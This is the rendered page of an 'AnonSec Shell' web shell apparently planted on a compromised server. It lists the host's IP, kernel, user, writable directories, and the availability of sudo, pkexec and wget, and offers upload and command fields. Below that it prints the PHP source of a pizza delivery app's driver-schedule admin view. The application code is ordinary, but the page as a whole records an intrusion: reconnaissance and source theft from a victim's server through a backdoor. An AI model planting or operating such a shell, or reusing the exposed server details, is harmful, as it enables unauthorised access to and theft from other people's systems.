AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/views/superadmin/driver_schedule.php
<style type="text/css">
.scheduler-event-title{display: none !important; }
.scheduler-event-content:hover{text-decoration:none !important;cursor:default;}
.scheduler-base-view-month{display: none !important; }
.scheduler-event-short{background: #E6A422 !important;color: black !important}
.scheduler-event-past{background: #989898 !important;color: white !important; opacity: 1 !important;}
</style>
		
		<!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
          <section class="content-header content-header1">
            <h1>Manage Driver Schedule</h1>
			<?php if(validation_errors() != false) { ?> 
				<div class="alert alert-danger">
					<?php echo validation_errors(); ?>
				</div>
			<?php } ?>

            <?php if($this->session->flashdata('success_msg')) { ?>
            <div class="alert alert-info text-center">
              <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong><?php echo $this->session->flashdata('success_msg'); ?></strong> 
            </div>
        <?php } ?>
          </section>
        <!-- Main content -->
          <section class="content">
            <!-- Info boxes -->
          <div class="col-md-12 custom-padding-0">
          	<div class="box-body">
          		<div class="col-md-12 col-sm-12 col-xs-12">
                    <?php $validator = array('role' => 'form', 'id' => 'driver_schedule'); echo form_open('superadmin/drivermanagement/driverschedule', $validator); ?>

		          	 <div id="oot" class="col-md-12 custom-padding-0">
                            <input type="hidden" name="addedSchedule[0]" id="addedSchedule[0]">
                            <div class="col-md-5 paddingleft0">
                                <div class="form-group clearfix">
                                    <div class="input-group btm0">
                                        <input onchange="getVal(this.value)"  name="driver_per_day_date" id="driver_per_day_date" class="fs_input" placeholder="Select Date" type="text" value=""  pattern="(0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])[- /.](19|20)\d\d" required onkeypress="return false;">
                                        <div class="input-group-addon reservation">
                                            <i class="fa fa-calendar" aria-hidden="true"></i>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-5 paddingleft0">
                                <div class="form-group float-label-control">
                                    <input maxlength="3"  name="driver_per_day_count" id="driver_per_day_count" class="fs_input custom-full" placeholder="No. Of Drivers" type="text" onkeypress="return only_num(event,this.value);" value="" required>
                                </div>
								<p>** If no driver required, assign "0"  </br>  ** For Edit select date and enter new value.</p>
                            </div>
                            <div style="margin-left: -23px;margin-top: 8px;" class="col-md-2 paddingleft0">
                                <button type="submit" class="btn btn-info Custom-btn">Save</button>
                            </div>
							
                        </form>
                        </div>



					<div class="clearfix"></div>
					<div class="col-md-12 col-sm-12 col-xs-12 custom-padding-0">
						<div id="scheduler"></div>
					</div>
					<div class="clearfic"></div>
	                 <div class="col-md-12 text-left padd0 mct30">
						
					</div>
				</div>
			</div>
          </div>
          </section>
          <div class="clearfix"></div>
      </div><!-- /.content-wrapper -->
 <div class="clearfix"></div>

 <div id="driverModal" class="modal fade" role="dialog"></div>

 <script src="<?php echo base_url(); ?>build/aui/aui.js"></script>

 <script>
    YUI({ filter: 'raw' }).use('aui-scheduler', function(Y) {
		
        var items = [

                <?php
                    if (isset($addedSchedule) && is_array($addedSchedule) && count($addedSchedule) > 0) {
                        foreach ($addedSchedule as $key => $value) {
                           
								$seldate = $value['driver_schedule_date'];
                //$seldate  = date("m/d/Y", strtotime($seldate));
               // $seldate = "'".$seldate."'";



                $startDate = $value['driver_schedule_date'];
                $startDateArray = explode('-', $startDate);
                $year = $startDateArray[0];
                $month = $startDateArray[1]-1;
                $day = $startDateArray[2];
                $startDate = $year .','. $month .','. $day;

                //$startDate   = strtotime('-1 months', $startDate);
								//$startDate   = strtotime($startDate.' -1 months');
								
                //$startDate=date('Y,m,d',$startDate );
                
                $todate = date('Y-m-d');

                $contxt = 'No. of drivers :  '.$value["driver_schedule_count"].'';

                if(strtotime($seldate)>=strtotime($todate))
                {

                  //$contxt = '<a data-toggle="modal" data-target="#driverModal" onclick="driver_list(\''.$seldate.'\');" href="javascript:void(0)">No. of drivers :  '.$value["driver_schedule_count"].'</a>';
                
                //if($startDate >=$startDate)
								
                        ?>
            //alert(new Date(<?php echo $startDate; ?>,'1'));
                            {
                                content: '<a style="color:black;" data-toggle="modal" data-target="#driverModal" onclick="driver_list(\'<?php echo $seldate; ?>\',1);" href="javascript:void(0)">No. of drivers :  <?php echo $value['driver_schedule_count']; ?></a>',
                				        endDate: new Date(<?php echo $startDate; ?>,'1'),
                                startDate: new Date(<?php echo $startDate; ?>,'10')
                                
                                
                            },
                <?php

              }else{  ?>


                {
                  content: '<a style="color:black;" data-toggle="modal" data-target="#driverModal" onclick="driver_list(\'<?php echo $seldate; ?>\',0);" href="javascript:void(0)">No. of drivers :  <?php echo $value['driver_schedule_count']; ?></a>',
                  endDate: new Date(<?php echo $startDate; ?>,'1'),
                  startDate: new Date(<?php echo $startDate; ?>,'10')
                  
                  
              },




            <?php  }
                            
                        }
                    }
                ?>
					

        ];
        console.log(items);
        //items = '';

        var schedulerViews = [
            //new Y.SchedulerWeekView(),
            //new Y.SchedulerDayView(),
            new Y.SchedulerMonthView()
            //new Y.SchedulerAgendaView()
        ];

        new Y.Scheduler({
            boundingBox: '#scheduler',
            items: items,
           // date: new Date(2016, 9, 4),
            views: schedulerViews,
            activeView: schedulerViews[0],
            eventRecorder: new Y.SchedulerEventRecorder()
            // firstDayOfWeek: 1,
            // activeView: weekView,
            // views: [dayView, weekView, monthView, agendaView]
        }).render();

    });

$(document).ready(function(){
    $('#schedulerEventRecorderForm').on('submit', function(e){
        e.preventDefault();
        
        alert('ok');
    });
});


function getVal(seldt)
{
	if(seldt!='' && isValidDate(seldt))
	{
    url='<?php echo base_url(); ?>drivermanagement/getVal/';
    $.ajax({
      type: "post",
      url: url,
      cache: false,       
      data:{seldt: seldt, csrf_token_apm: myCsrfHash},
      success: function(data){ 
        $("#driver_per_day_count").val(data);
      }
     });
	}

    
}


function isValidDate(s) {
  var bits = s.split('/');
  var d = new Date(bits[2], bits[1] - 1, bits[0]);
  return d && (d.getMonth() + 1) == bits[1];
} 


function driver_list(popdate,stst)
{
  document.getElementById("driverModal").innerHTML = '';
  //alert(popdate);

  webroot = '<?php echo base_url(); ?>';
  url=webroot+'drivermanagement/driver_list/';
  var address = $("#address").val();
    $.ajax({
      type: "post",
      url: url,
      cache: false,       
      data:{ popdate: popdate,stst:stst, csrf_token_apm: myCsrfHash},
      success: function(data){ 
        

       
        //$('#driverModal').innerHTML(data);


        //window.location = webroot+"frontend/restaurantslisting/";
        //window.location = webroot+"restaurantslisting/";
        //alert(data);
       document.getElementById("driverModal").innerHTML = data;
       //$('#edit_category_name').val(cat_id);
      }
     });
  
}
function searchDriverSchedule(strnm){
  if (strnm == '') {
    $('.commonDriverScheduleRow').show();
  }
  var searchScheduleDate = $('#searchScheduleDate').val();
  base_url='<?php echo base_url(); ?>';
  url= base_url+'superadmin/searchDriverSchedule';
  $.ajax({
    type: "POST",
    url: url,
    data: {userSearchKey: strnm, searchScheduleDate: searchScheduleDate, csrf_token_apm: myCsrfHash},
    success: function(data) {
     if (data!="") {
      document.getElementById("auto_sug").style.display="block";
      document.getElementById("auto_sug").innerHTML=data;
     }
     else {
      document.getElementById("auto_sug").innerHTML="";
      document.getElementById("auto_sug").style.display="none";
     }
    }
  });
}
function setDriverDetails(driver_id, driver_name) {
  $('#searchDriverSchedule').val(driver_name);
  $('#auto_sug').fadeOut();
  $('.commonDriverScheduleRow').fadeOut();
  $('#driverScheduleRow_'+driver_id).fadeIn();
  // getData('0',$('#myFilter2').val(),$('#per_page').val(),restaurant_id);
}
function driver_schedule_export() {
  var searchScheduleDate = $('#searchScheduleDate').val();
  window.open('<?php echo base_url(); ?>superadmin/driver_schedule_export/'+searchScheduleDate,'_blank');
  // base_url='<?php echo base_url(); ?>';
  // url= base_url+'superadmin/driver_schedule_export';
  // $.ajax({
  //   type: "POST",
  //   url: url,
  //   data: {searchScheduleDate: searchScheduleDate, csrf_token_apm: myCsrfHash},
  //   success: function(data) {}
  // });
}
    </script>

    <style type="text/css">
#driverModal .modal-dialog 
{
   width: 500px;
   margin: 30px auto;
}
.green-dot
{
width: 10px;
height: 10px;
background: black linear-gradient(rgb(29, 222, 0) 0px, rgb(7, 165, 31) 100%) repeat scroll 0% 0%;
float: left;
border-radius: 50%;
margin-top: 5px;
margin-right: 5px;
}
.yellow-dot
{
width: 10px;
height: 10px;
background: #000 linear-gradient(#E1A62E 0px, #ECD900 100%) repeat scroll 0% 0%;
float: left;
border-radius: 50%;
margin-top: 5px;
margin-right: 5px;
}
.red-dot
{
width: 10px;
height: 10px;
background: black linear-gradient(rgb(255, 57, 33) 0px, rgb(192, 4, 4) 100%) repeat scroll 0% 0%;
float: left;
border-radius: 50%;
margin-top: 5px;
margin-right: 5px;
}
#driverModal .modal-footer
{
  border-top: 0px solid black !important;
}
</style>

Anon7 - 2022
AnonSec Team